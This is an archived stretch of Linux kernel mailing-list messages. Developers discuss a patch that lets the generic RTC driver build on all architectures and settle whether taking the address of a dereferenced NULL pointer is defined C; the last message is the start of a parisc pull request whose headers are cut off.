	Parisc List <linux-parisc@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 02 09:57:36 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ab2b9-0002bS-Vo
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Mar 2016 09:57:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753736AbcCBI53 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 2 Mar 2016 03:57:29 -0500
Original-Received: from mail-io0-f193.google.com ([209.85.223.193]:34214 "EHLO
	mail-io0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753655AbcCBI52 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 2 Mar 2016 03:57:28 -0500
Original-Received: by mail-io0-f193.google.com with SMTP id l127so18707442iof.1;
        Wed, 02 Mar 2016 00:57:28 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=jiwemliI/XLKUgB3HTEU6ifoP2/1wqxC4vcpzFpHP5w=;
        b=b24+9+lmAR5rHF3UMbHgR8Ypyww8jJu0S1NlmDnhkWELG38dO2+tKOIuyPf18uJ8yS
         5Z11JqjPwMmqNNvot9QT5qZBozYMJY1xj7cjZHWS1FrTnMaDEr/75Aw9NvnCzDA3sf7y
         Jcmtu3dcnGGGxYgzXNa/SzIZZkj26DT7+uXGK10haEJE8NyEukMIG3VjfiNYkyfMBXVR
         cbCi2r9NFqtG/FWa8q8LnuzfDQ7qBmXQYc1T8jMCrx1rRrZ1ecZyrwMpxnxPAI7qr/aM
         8rH4sFbg46byx1fjhXl+PI5I1GDygl4vxW5OW7UJOOdcNeTlbrUYsHt3WE/15i0BXKQL
         DQZg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=jiwemliI/XLKUgB3HTEU6ifoP2/1wqxC4vcpzFpHP5w=;
        b=TyhBjqvM51puIa88BVnua8vZ1Ibe+Rr8HCbDZaVQHIpZOrNxM/2cGGVE6clpgrxXI0
         vsLCC6Bdn7FK7MGCPloIKfAaErew00RfpMJkphxgU1VOzYHfniv+HboVjCM2Z5z0cz6r
         xiTewC323mHchlKCh5tR5bXXRsIUAKP86ZwO3bvXGDG8rxSbjmUt5fcqOEGgqaOP4KR4
         4eM+rCzrbgfBvzubc2z2Nh97By3ypyp+OmChE9GmUOCXQkH3W51xf0tdORTvPyTf8eXV
         pfiko4ldNeNci9IEpK/PB+IvQSDy6hUDxmB7/ucshLyFNz4wLP4yLhC5ndUY4eaCgIfo
         2Reg==
X-Gm-Message-State: AG10YOTXQiICcGyvVijbOWiASvDyuEmgxNjIciHsw6pBPMQEMBhhV4ER+CLUcZOsMPP2CgmohR86hmxq83US2A==
X-Received: by 10.107.26.203 with SMTP id a194mr34487625ioa.115.1456909047492;
 Wed, 02 Mar 2016 00:57:27 -0800 (PST)
Original-Received: by 10.107.132.222 with HTTP; Wed, 2 Mar 2016 00:57:27 -0800 (PST)
In-Reply-To: <1456851608-3374907-2-git-send-email-arnd@arndb.de>
X-Google-Sender-Auth: S9-RqA6ZS2NURQs4cJ9BLk132_s
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26511 gmane.linux.ports.arm.kernel:483323 gmane.linux.ports.ppc64.devel:124351 gmane.linux.ports.sh.devel:53492 gmane.linux.kernel:2166545
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26511>

Hi Arnd,

On Tue, Mar 1, 2016 at 5:59 PM, Arnd Bergmann <arnd@arndb.de> wrote:
> There are four architectures using this driver, but since we can
> build it with COMPILE_TEST, we should try dealing with the absence
> of the asm/rtc.h header file, to avoid getting a build error:
>
> drivers/rtc/rtc-generic.c:12:21: fatal error: asm/rtc.h: No such file or directory
>
> This creates an alternative use of the driver, allowing architectures
> to pass a set of rtc_class_ops in platform data. We can convert the
> four architectures to use this and then remove the original
> code.
>
> Signed-off-by: Arnd Bergmann <arnd@arndb.de>
> ---
>  drivers/rtc/rtc-generic.c | 12 +++++++++++-
>  1 file changed, 11 insertions(+), 1 deletion(-)
>
> diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
> index e782ebd719b2..d726c6aa96a8 100644
> --- a/drivers/rtc/rtc-generic.c
> +++ b/drivers/rtc/rtc-generic.c
> @@ -9,6 +9,8 @@
>  #include <linux/platform_device.h>
>  #include <linux/rtc.h>
>
> +#if defined(CONFIG_M68K) || defined(CONFIG_PARISC) || \
> +    defined(CONFIG_PPC) || defined(CONFIG_SUPERH32)
>  #include <asm/rtc.h>
>
>  static int generic_get_time(struct device *dev, struct rtc_time *tm)
> @@ -33,13 +35,21 @@ static const struct rtc_class_ops generic_rtc_ops = {
>         .read_time = generic_get_time,
>         .set_time = generic_set_time,
>  };
> +#else
> +#define generic_rtc_ops *(struct rtc_class_ops*)NULL
> +#endif
>
>  static int __init generic_rtc_probe(struct platform_device *dev)
>  {
>         struct rtc_device *rtc;
> +       const struct rtc_class_ops *ops;
> +
> +       ops = dev_get_platdata(&dev->dev);
> +       if (!ops)
> +               ops = &generic_rtc_ops;

I hope no compiler version treats "&*(struct rtc_class_ops*)NULL" as
undefined behavior?

>
>         rtc = devm_rtc_device_register(&dev->dev, "rtc-generic",
> -                                       &generic_rtc_ops, THIS_MODULE);
> +                                       ops, THIS_MODULE);
>         if (IS_ERR(rtc))
>                 return PTR_ERR(rtc);

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/6] rtc: generic: allow building on all architectures
Date: Wed, 02 Mar 2016 10:05:18 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <1620536.OtjnSSLgCT@wuerfel>
References: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
 <1456851608-3374907-2-git-send-email-arnd@arndb.de>
 <CAMuHMdW5+jZ1n9WnCwBrGSGjUa8ziNTTqf-H15EFTQC_iwnw+Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1456909596 8436 80.91.229.3 (2 Mar 2016 09:06:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Mar 2016 09:06:36 +0000 (UTC)
Cc: Alessandro Zummo <a.zummo@towertech.it>,
 Parisc List <linux-parisc@vger.kernel.org>,
 RTCLINUX <rtc-linux@googlegroups.com>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
 Kyle McMartin <kyle@mcmartin.ca>, linux-m68k <linux-m68k@lists.linux-m68k.org>,
 Alexandre Belloni <alexandre.belloni@free-electrons.com>,
 "linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
 "linux-arm-kernel@lists.infradead.org" <linux-arm-kernel@lists.infradead.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Mar 02 10:06:27 2016
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.9])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1ab2ji-0006pe-6d
	for linux-arm-kernel@m.gmane.org; Wed, 02 Mar 2016 10:06:26 +0100
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1ab2jL-0002Pv-Ma; Wed, 02 Mar 2016 09:06:03 +0000
Original-Received: from mout.kundenserver.de ([217.72.192.73])
 by bombadil.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1ab2jI-0002Lb-DV
 for linux-arm-kernel@lists.infradead.org; Wed, 02 Mar 2016 09:06:01 +0000
Original-Received: from wuerfel.localnet ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue101) with ESMTPSA (Nemesis) id 0LgYcf-1a5GHE1GIX-00nwiC; Wed, 02 Mar
 2016 10:05:21 +0100
User-Agent: KMail/4.11.5 (Linux/3.16.0-10-generic; KDE/4.11.5; x86_64; ; )
In-Reply-To: <CAMuHMdW5+jZ1n9WnCwBrGSGjUa8ziNTTqf-H15EFTQC_iwnw+Q@mail.gmail.com>
X-Provags-ID: V03:K0:of3NxZWSdf9LSuKmjrteQirvXyDuQsXTses1t18z8UoKSbW+eI7
 LEyDKaSvVgotbpNEruzoyWKsBDM6ht35Tjkn+mxyYdvSr2WjoxDcwSKeGhPECzfujYc/Y0L
 1WeKi0zaALNePLiKavP1+yRLakZ+q5CqQnFgC9MNukg99lXjGvCj41jfOiRessxRADs2svc
 YHRo2/AAQw4Sbowna3DKA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:BXMOME6xkgA=:BUOEs1lNzYpPcf7Q08LVBG
 RfGy2myakPvdrL+ulo42CUwMlgtRKtRhq4Iii4H7YeVU0CpgbKzb1Gjg4hX0dNEuMat8D/xQX
 XrlRM+xYdtQKDlDZcBOlm4r/zCf+i5LARNdAqw4/NcK7BdBr4kQ/Igd3C4Wt5XIowX6taSYCm
 aENOq7QqJTom0p8mDkKJtUzSa48TWgp1HsqPYeOzOZOqcZb3QFq53RSiI3YcECaYnf6pyOQkG
 mjwVi+mOGSdorK/dV1TEH/Qbooh9OzD8xC5dr4rHk3Od9NgLtpylf9Qunf6KTUtDuFvpAP2Ev
 jA1XLSt9E0IEgVK6DmCHmVN+Cxk7Vlgfyq8MSQ7yifLM0iv27IaK0j2iNJ+g/L0ptaj0mZ57K
 qQYuhqlDsJCQbhdkCFkv36ik/yO3RcMRWkH5pxvDcJBW0t7SJKM0Pd9bWM07l3rsAdvMZHboS
 7M8q8MHOH6IVLit8yVHOrRXlR1Qtp2CDIbRp5+85sMC+WUAe42ijegYZ+v5QiQ17s/zADxh3N
 di+r2YwXQwpoWTV1HoY8LyILruNjkBgS/hnQxWOZicv/8w5HGKykZZLrQ6+luD+P5TiBPiLeJ
 oEmb4LvrMoj6VN4/8r3Ns35a3t6WXRWASGLuqU5wL2aM7Kvwgk9EikmJ0DuRGz9awQ3HKIfpo
 geshCE3oo8/m+Qz5RZ9HrpZPDnl4S+jkKQs+45qTteLvyXbN68y+dEUzUUwa03ztfhRCTLutt
 LiCA1HaRoZ0LGGN1
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20160302_010600_819807_E8BB3FBC 
X-CRM114-Status: GOOD (  13.82  )
X-Spam-Score: -2.6 (--)
X-Spam-Report: SpamAssassin version 3.4.0 on bombadil.infradead.org summary:
 Content analysis details:   (-2.6 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [217.72.192.73 listed in list.dnswl.org]
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
 -0.0 RCVD_IN_MSPIKE_H2      RBL: Average reputation (+2)
 [217.72.192.73 listed in wl.mailspike.net]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.20
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:483326 gmane.linux.ports.parisc:26512 gmane.linux.ports.sh.devel:53493 gmane.linux.kernel:2166551 gmane.linux.ports.ppc64.devel:124354
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/483326>

On Wednesday 02 March 2016 09:57:27 Geert Uytterhoeven wrote:
> > @@ -33,13 +35,21 @@ static const struct rtc_class_ops generic_rtc_ops = {
> >         .read_time = generic_get_time,
> >         .set_time = generic_set_time,
> >  };
> > +#else
> > +#define generic_rtc_ops *(struct rtc_class_ops*)NULL
> > +#endif
> >
> >  static int __init generic_rtc_probe(struct platform_device *dev)
> >  {
> >         struct rtc_device *rtc;
> > +       const struct rtc_class_ops *ops;
> > +
> > +       ops = dev_get_platdata(&dev->dev);
> > +       if (!ops)
> > +               ops = &generic_rtc_ops;
> 
> I hope no compiler version treats "&*(struct rtc_class_ops*)NULL" as
> undefined behavior?

It's a bit odd, but I think it's syntactically correct C, and not
much too different from 

#define offsetof(TYPE, MEMBER)  ((size_t)&((TYPE *)0)->MEMBER)

is it? My last patch gets rid of it again.

	Arnd

From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andreas Schwab <schwab@linux-m68k.org>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 1/6] rtc: generic: allow building on all architectures
Date: Wed, 02 Mar 2016 10:28:40 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <mvmwpplns8n.fsf@hawking.suse.de>
References: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
	<1456851608-3374907-2-git-send-email-arnd@arndb.de>
	<CAMuHMdW5+jZ1n9WnCwBrGSGjUa8ziNTTqf-H15EFTQC_iwnw+Q@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1456910943 30576 80.91.229.3 (2 Mar 2016 09:29:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Mar 2016 09:29:03 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	"linux-arm-kernel\@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	RTCLINUX <rtc-linux@googlegroups.com>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linuxppc-dev\@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	"linux-kernel\@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-m68k-owner@vger.kernel.org Wed Mar 02 10:28:54 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1ab35S-0001QS-4m
	for glpm-linux-m68k@plane.gmane.org; Wed, 02 Mar 2016 10:28:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754284AbcCBJ2x (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Wed, 2 Mar 2016 04:28:53 -0500
Original-Received: from mail-out.m-online.net ([212.18.0.9]:60903 "EHLO
	mail-out.m-online.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753164AbcCBJ2w (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Wed, 2 Mar 2016 04:28:52 -0500
Original-Received: from frontend01.mail.m-online.net (unknown [192.168.8.182])
	by mail-out.m-online.net (Postfix) with ESMTP id 3qFVPr2Lrpz3hjNp;
	Wed,  2 Mar 2016 10:28:48 +0100 (CET)
Original-Received: from localhost (dynscan1.mnet-online.de [192.168.6.68])
	by mail.m-online.net (Postfix) with ESMTP id 3qFVPq6j5Dzvh25;
	Wed,  2 Mar 2016 10:28:47 +0100 (CET)
X-Virus-Scanned: amavisd-new at mnet-online.de
Original-Received: from mail.mnet-online.de ([192.168.8.182])
	by localhost (dynscan1.mail.m-online.net [192.168.6.68]) (amavisd-new, port 10024)
	with ESMTP id xkOFkhibxbju; Wed,  2 Mar 2016 10:28:41 +0100 (CET)
X-Auth-Info: LKwvR4beBDtCEnmhJ3r230jK3TPBnpoDNEwCaJoBOju3UScgo8Ad68OBH+UEEw8o
Original-Received: from hawking.suse.de (nat.nue.novell.com [195.135.221.2])
	(using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits))
	(No client certificate requested)
	by mail.mnet-online.de (Postfix) with ESMTPSA;
	Wed,  2 Mar 2016 10:28:41 +0100 (CET)
X-Yow: Okay..  I'm going home to write the ``I HATE RUBIK's CUBE
 HANDBOOK FOR DEAD CAT LOVERS''..
In-Reply-To: <CAMuHMdW5+jZ1n9WnCwBrGSGjUa8ziNTTqf-H15EFTQC_iwnw+Q@mail.gmail.com>
	(Geert Uytterhoeven's message of "Wed, 2 Mar 2016 09:57:27 +0100")
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/24.5 (gnu/linux)
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8330 gmane.linux.ports.arm.kernel:483331 gmane.linux.ports.ppc64.devel:124355 gmane.linux.ports.sh.devel:53494 gmane.linux.ports.parisc:26513 gmane.linux.kernel:2166567
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8330>

Geert Uytterhoeven <geert@linux-m68k.org> writes:

>> +#else
>> +#define generic_rtc_ops *(struct rtc_class_ops*)NULL
>> +#endif
>>
>>  static int __init generic_rtc_probe(struct platform_device *dev)
>>  {
>>         struct rtc_device *rtc;
>> +       const struct rtc_class_ops *ops;
>> +
>> +       ops = dev_get_platdata(&dev->dev);
>> +       if (!ops)
>> +               ops = &generic_rtc_ops;
>
> I hope no compiler version treats "&*(struct rtc_class_ops*)NULL" as
> undefined behavior?

Yes, that is guaranteed, the operations cancel each other (6.5.3.2#3: If
the operand is the result of a unary * operator, neither that operator
nor the & operator is evaluated and the result is as if both were
omitted).

Andreas.

-- 
Andreas Schwab, schwab@linux-m68k.org
GPG Key fingerprint = 58CA 54C7 6D53 942B 1756  01D3 44D5 214B 8276 4ED5
"And now for something completely different."

From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 1/6] rtc: generic: allow building on all architectures
Date: Wed, 2 Mar 2016 10:39:15 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <CAMuHMdX2Jc4dT5omKmiie7GK+xDYDgJwm34hwANx3HzHt7LzxA@mail.gmail.com>
References: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
	<1456851608-3374907-2-git-send-email-arnd@arndb.de>
	<CAMuHMdW5+jZ1n9WnCwBrGSGjUa8ziNTTqf-H15EFTQC_iwnw+Q@mail.gmail.com>
	<mvmwpplns8n.fsf@hawking.suse.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1456911562 8954 80.91.229.3 (2 Mar 2016 09:39:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Mar 2016 09:39:22 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	"linux-arm-kernel@lists.infradead.org" 
	<linux-arm-kernel@lists.infradead.org>,
	Kyle McMartin <kyle@mcmartin.ca>,
	RTCLINUX <rtc-linux@googlegroups.com>,
	Alessandro Zummo <a.zummo@towertech.it>,
	"linuxppc-dev@lists.ozlabs.org" <linuxppc-dev@lists.ozlabs.org>,
	Linux-sh list <linux-sh@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	linux-m68k <linux-m68k@lists.linux-m68k.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Andreas Schwab <schwab@linux-m68k.org>
Original-X-From: linux-sh-owner@vger.kernel.org Wed Mar 02 10:39:21 2016
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1ab3FY-0007We-K9
	for glps-linuxsh-dev@plane.gmane.org; Wed, 02 Mar 2016 10:39:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753425AbcCBJjS (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Wed, 2 Mar 2016 04:39:18 -0500
Original-Received: from mail-io0-f194.google.com ([209.85.223.194]:35998 "EHLO
	mail-io0-f194.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753307AbcCBJjQ (ORCPT
	<rfc822;linux-sh@vger.kernel.org>); Wed, 2 Mar 2016 04:39:16 -0500
Original-Received: by mail-io0-f194.google.com with SMTP id m184so924988iof.3;
        Wed, 02 Mar 2016 01:39:16 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc;
        bh=+lK9yIj7YgQNvEAvAZH/MLb13WWWnyw/RQQFpaS5+2A=;
        b=k7s1Jfkz3Prc0DvCKHyrsEor0xTc26D/M/DyPW6xVY+uN2EtVQTErFFlMcGn+v1F6S
         bnIxlxb1+diEIxUluOAclK5aynFtuIl/ixT4ijBwQWiRGdrlGG8CoU2QOfOmd4kBfhkf
         uoMx8cg5g8ksyjiDs/z77CbW5xfzkPMa6OmpI7wcWon3dIQkmscezoa26/1e2KMRK2/d
         WI6x8HtMKh4Jcqz8/+KpanjVlVpHG8suVPnYx9T2X4vK45OdPkxppzpEtlN4lDoemr52
         I2ouXhuMvhjcLHickbyLGtpFIBCAF++Vh69E6j6qnTI6R/t/8N3dpKqDtLDmICKvn5Tx
         71fg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc;
        bh=+lK9yIj7YgQNvEAvAZH/MLb13WWWnyw/RQQFpaS5+2A=;
        b=Ajr54mNnzbkVA5Ip2fa6Arcko76w1qfziCtr3KVenU9Hi8ML6nNL7xh2eIgWI+YN9/
         A0VXu4vtutoQS/TdJe9Oqj2wpF5NfwGz6FzaE8gJl+ZRNudiyF65cWTstnfY+T9WsNOi
         UZFhyTdb8N4hUJMd6JLSC/FCGRpXyA3IgUaBcxrN+LgfkvibjyjOPgRcsOt+0c/GHybP
         s2CPWkK5mb8V2FnfKq30m9KFmgRKRgQckU3XyiOwDMYvQjjJgP/WdTEfObQfNS0BR2pO
         kI7TkIdLF6fGyiWjRGCHV6Qc3GEh7B6E7WNV1AQ0YiEtfPhck7WVyy4lbdGyocc3gS9o
         uGlA==
X-Gm-Message-State: AG10YORqpr05WZxCZBXgeBu8U7E+QkemBTwyetpvQ/Me9FW7fBpX/ZlJOrT5iM/ryYqsqMDA6or05hMRR5+azA==
X-Received: by 10.107.26.203 with SMTP id a194mr34659155ioa.115.1456911555817;
 Wed, 02 Mar 2016 01:39:15 -0800 (PST)
Original-Received: by 10.107.132.222 with HTTP; Wed, 2 Mar 2016 01:39:15 -0800 (PST)
In-Reply-To: <mvmwpplns8n.fsf@hawking.suse.de>
X-Google-Sender-Auth: ePSGvyD9zXsQpYPkfsp9Wts5974
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:53495 gmane.linux.ports.arm.kernel:483333 gmane.linux.ports.ppc64.devel:124356 gmane.linux.ports.parisc:26514 gmane.linux.kernel:2166578
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/53495>

On Wed, Mar 2, 2016 at 10:28 AM, Andreas Schwab <schwab@linux-m68k.org> wrote:
> Geert Uytterhoeven <geert@linux-m68k.org> writes:
>
>>> +#else
>>> +#define generic_rtc_ops *(struct rtc_class_ops*)NULL
>>> +#endif
>>>
>>>  static int __init generic_rtc_probe(struct platform_device *dev)
>>>  {
>>>         struct rtc_device *rtc;
>>> +       const struct rtc_class_ops *ops;
>>> +
>>> +       ops = dev_get_platdata(&dev->dev);
>>> +       if (!ops)
>>> +               ops = &generic_rtc_ops;
>>
>> I hope no compiler version treats "&*(struct rtc_class_ops*)NULL" as
>> undefined behavior?
>
> Yes, that is guaranteed, the operations cancel each other (6.5.3.2#3: If
> the operand is the result of a unary * operator, neither that operator
> nor the & operator is evaluated and the result is as if both were
> omitted).

Thanks for confirming.

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc architecture updates for v4.5
Date: Wed, 2 Mar 2016 18:24:58 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <20160302172458.GA2489@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1456939525 29683 80.91.229.3 (2 Mar 2016 17:25:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 2 Mar 2016 17:25:25 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 02 18:25:15 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1abAWQ-0002FY-D8
	for glpp-linux-parisc@plane.gmane.org; Wed, 02 Mar 2016 18:25:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
